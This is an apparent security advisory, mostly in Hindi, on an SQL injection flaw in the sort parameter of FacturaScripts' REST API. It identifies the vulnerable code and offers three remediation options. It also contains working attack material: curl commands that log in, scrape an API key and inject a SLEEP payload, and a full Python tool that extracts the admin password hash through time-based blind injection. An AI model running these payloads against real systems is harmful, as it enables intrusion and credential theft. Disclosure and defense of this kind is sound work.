
CVE-2026-25513 - FacturaScripts has SQL Injection in API ORDER BY Clause
| फील्ड | विवरण |
|---|---|
| CVE आईडी | CVE-2026-25513 |
| गंभीरता | उच्च |
| सलाह | सलाह देखें |
| खोजकर्ता | Łukasz Rybak |
FacturaScripts में REST API में एक गंभीर SQL इंजेक्शन भेद्यता है जो प्रमाणित API उपयोगकर्ताओं को sort पैरामीटर के माध्यम से मनमाना SQL क्वेरी निष्पादित करने की अनुमति देती है। यह भेद्यता ModelClass::getOrderBy() विधि में मौजूद है जहाँ उपयोगकर्ता द्वारा प्रदान किए गए सॉर्टिंग पैरामीटर बिना सत्यापन या सैनिटाइज़ेशन के सीधे SQL ORDER BY क्लॉज़ में जोड़ दिए जाते हैं। यह सभी API एंडपॉइंट को प्रभावित करता है जो सॉर्टिंग कार्यक्षमता का समर्थन करते हैं।
FacturaScripts REST API विभिन्न एंडपॉइंट (जैसे, /api/3/users, /api/3/attachedfiles, /api/3/customers) के माध्यम से डेटाबेस मॉडल प्रदर्शित करता है। ये एंडपॉइंट एक sort पैरामीटर का समर्थन करते हैं जो क्लाइंट को परिणाम क्रम निर्दिष्ट करने की अनुमति देता है। API इस पैरामीटर को ModelClass::all() विधि के माध्यम से संसाधित करता है, जो कमजोर getOrderBy() फ़ंक्शन को कॉल करता है।
1. लीगेसी मॉडल:
फ़ाइल: /Core/Model/Base/ModelClass.php
विधि: getOrderBy()
$order ऐरे से कुंजियों और मानों का सीधा संयोजन।
2. आधुनिक मॉडल (DbQuery):
फ़ाइल: /Core/DbQuery.php
विधि: orderBy()
पंक्तियाँ: 255-259
// If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
यह जाँच SQL फ़ंक्शंस की अनुमति देने के लिए है लेकिन उन्हें मान्य नहीं करती, जिससे मनमाना SQL इंजेक्शन होता है।
चूँकि FacturaScripts को एक मौजूदा API कुंजी की आवश्यकता होती है, हम पहले वेब इंटरफ़ेस के माध्यम से लॉग इन करके एक मान्य कुंजी खोजते हैं।
1. लॉगिन करें और एक मान्य API कुंजी प्राप्त करें: हम सेटिंग्स तक पहुँचने और पहली उपलब्ध कुंजी प्राप्त करने के लिए CSRF टोकन और सत्र कुकीज़ को संभालते हैं।
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
2. समय-आधारित SQL इंजेक्शन सत्यापित करें:
निकाली गई API_KEY का X-Auth-Token हेडर में उपयोग करें।
# सामान्य अनुरोध (बेसलाइन)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
# इंजेक्टेड अनुरोध (सॉर्ट कुंजी में SLEEP पेलोड)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
अपेक्षित परिणाम: इंजेक्टेड अनुरोध में काफी अधिक समय लगेगा (देरी डेटाबेस रिकॉर्ड पर निर्भर करती है), जो SQL इंजेक्शन की पुष्टि करता है।
यह स्क्रिप्ट स्वचालित रूप से FacturaScripts में लॉग इन करती है, एक मान्य API कुंजी प्राप्त करती है, और समय-आधारित ब्लाइंड SQL इंजेक्शन का उपयोग करके केस-सेंसिटिव डेटा निष्कर्षण करती है।
import requests
import time
import string
import re
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"
session = requests.Session()
def get_token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get_api_key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login_data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE_URL}/login", data=login_data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
if not id_match:
print("[!] No API keys found in system!")
return None
api_id = id_match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api_id}...")
res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key_match:
print("[!] Failed to extract API key from page!")
return None
return key_match.group(1)
def time_based_sqli(api_key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api_key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract_data(api_key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time_based_sqli(api_key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api_key = get_api_key()
if not api_key:
return
print(f"[+] Using API Key: {api_key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
if __name__ == "__main__":
main()
विकल्प 1: सख्त व्हाइटलिस्ट सत्यापन लागू करें (अनुशंसित)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array_keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in_array($key, $validColumns, true)) {
throw new \Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in_array($value, ['ASC', 'DESC'], true)) {
throw new \Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
विकल्प 2: डेटाबेस एस्केपिंग फ़ंक्शंस का उपयोग करें
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
विकल्प 3: क्वेरी बिल्डर पैटर्न का उपयोग करें
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array_key_exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
// Add to API configuration
$config = [
'max_sort_fields' => 3, // Limit number of sort fields
'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist
'default_sort' => 'id ASC', // Safe default
];
खोजकर्ता: Łukasz Rybak
इस CVE का जिम्मेदारीपूर्ण खुलासा समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करके किया गया था। यहाँ प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।